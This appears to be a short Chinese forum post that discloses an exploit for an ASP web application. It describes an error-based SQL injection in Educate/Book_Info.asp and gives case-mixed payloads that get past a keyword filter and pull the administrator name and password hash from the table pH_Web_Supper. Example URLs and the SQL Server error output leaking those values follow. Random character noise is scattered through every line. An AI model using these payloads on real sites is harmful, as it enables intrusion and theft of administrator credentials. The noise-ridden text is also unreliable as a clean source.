漏洞出现在Educate/Book_Info.asp 5 y8 W+ o7 l; c, C6 F5 O4 o
1 s) v% l" z6 } ~& f此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出
( D' t# X( m5 l 2 z% M& R. [8 E8 i
exp:如下
( C8 T" i4 b0 I/ i: S查询管理账号:+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper), D' U7 ^2 m$ R% G9 f2 ^
查询管理密码:+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
5 E9 T9 @, X% d " x$ b d/ E+ ~8 }" Z$ w+ s
http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
J2 e; h L7 l$ t$ b' J1 d
/ h: u' O+ H2 X( P1 i: X/ u* ZMicrosoft OLE DB Provider for SQL Server 错误 '80040e07'7 }: K% J% [6 s- K4 T) l c
1 h8 ~8 j9 u5 i _$ W4 I将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。; z8 c3 K" G2 P9 s: M! C
# g5 f2 x0 g+ v% f! Z p3 x: Z/Educate/Book_Info.asp,行 8, h h- i2 ?0 A; w' D
; {& s- k( @8 j* _* r2 J9 R
http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)1 ^' h& I; J3 v
4 a' g& t5 _9 T9 y
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'4 w8 n$ E, h- ~9 n& N7 r9 @1 h# @
6 N) `9 d6 }/ S& L! ^
将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。- I3 C+ W B* u* W R5 B
5 s+ O4 \, |. J. ]' G/Educate/Book_Info.asp,行 8
0 s$ b" N& m) }4 v7 p) } |